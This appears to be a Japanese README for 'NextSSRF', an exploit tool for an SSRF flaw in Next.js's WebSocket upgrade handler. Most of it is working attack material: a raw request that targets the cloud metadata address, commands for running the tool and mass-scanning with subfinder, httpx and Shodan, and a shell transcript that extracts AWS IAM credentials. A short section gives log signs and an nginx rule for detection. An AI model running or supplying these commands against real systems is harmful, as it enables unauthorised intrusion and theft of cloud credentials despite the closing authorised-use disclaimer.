
CVE-2026-44578 のスキャナーおよびエクスプロイトツール。Next.js WebSocket アップグレードハンドラ内の SSRF 脆弱性を対象としています。脆弱性のあるバージョンを検出し、クラウドメタデータを抽出し、インタラクティブシェルを介して IAM クレデンシャルを外部に流出させます。
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Next.js WebSocket Upgrade Handler におけるサーバーサイドリクエストフォージェリ
2026年5月11日、Vercel は CVE-2026-44578(CVSS 8.6)を修正しました。これは、Next.js の WebSocket upgrade ハンドラにおける認証不要の SSRF であり、13.4.13 以降のすべてのセルフホスト環境に影響します。
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
http:// 内の // により normalizeRepeatedSlashes が早期終了し、statusCode: 308 および finished: true が設定されます。脆弱な upgrade ハンドラは 両方のフラグを無視 し、parsedUrl.protocol が truthy の場合に proxyRequest を呼び出します。これにより、攻撃者が制御するホストの ポート80 にリクエストがプロキシされます。
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| 製品 | 脆弱なバージョン | 修正済み |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Vercel ホスト | ✅ 影響なし | N/A |
Upgrade: websocket を 400 で拒否
AWS IMDSv1 クレデンシャルが CVE-2026-44578 経由で流出 — 対話型エクスプロイトシェル
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
依存関係ゼロ — Python 標準ライブラリのみ。Python 3.10+ が必要です。
python3 nextssrf.py -t https://target.com
# AWS メタデータのみ
python3 nextssrf.py -t https://target.com --cloud aws
# カスタム内部ターゲット
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# ディープスキャン(内部サービスも含む)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# ファイル入力
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# 強制スキャン(バージョン不明でも実行)
python3 nextssrf.py -t https://target.com --force
| コード | 意味 |
|---|---|
0 | 脆弱性なし / 正常 |
1 | 脆弱性あり(エクスプロイトなし) |
2 | SSRF 確認 |
自動クラウド検出と IAM クレデンシャル抽出を備えた高度なエクスプロイトシェル:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# クラウドを検出し、自動的にエクスプロイトチェーンを実行
python3 nextssrf.py -t https://target.com --auto
# 完全な偵察 → エクスプロイトパイプライン
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan の一括スキャン → 確認されたホストに対して対話型実行
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# 特定のバージョン範囲をチェック
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
ログから見つかるエクスプロイトの兆候:
# Next.js プロセスログ
Failed to proxy http:/ ← スラッシュ1つ = 正規化の痕跡
# アクセスログ(absolute-form URI + Upgrade ヘッダー)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: absolute-form リクエスト URI を拒否
if ($request_uri ~* "^https?://") {
return 400;
}
許可されたセキュリティテストおよびバグバウンティ調査のみを対象としています。 自分が所有している、または明示的な書面によるテスト許可を得ているシステムに対してのみ使用してください。 著者は誤用または不正使用について責任を負いません。 常にバグバウンティプログラムのルールオブエンゲージメントに従ってください。
@mitsec が ❤️ を込めて作成 · ynsmroztas.github.io
Top Hacker @ Intigriti · 100+ HOF · 2430+ 脆弱性 · 1100+ P1 Critical
| コマンド | 説明 |
|---|
cloud | クラウドプロバイダーを自動検出(AWS/Azure/GCP/DO/OCI) |
aws | AWS IAM クレデンシャルチェーン全体を取得 |
azure | Azure マネージド ID トークンを取得 |
scan | クラウド検出 + 自動エクスプロイト |
url <http://> | カスタム SSRF リクエスト |
get <N> | インデックスで AWS IMDS ターゲットを指定 |
list | すべての IMDS エンドポイントを表示 |
history | リクエスト履歴 |
save | セッションを JSON にエクスポート |
quit | 終了 |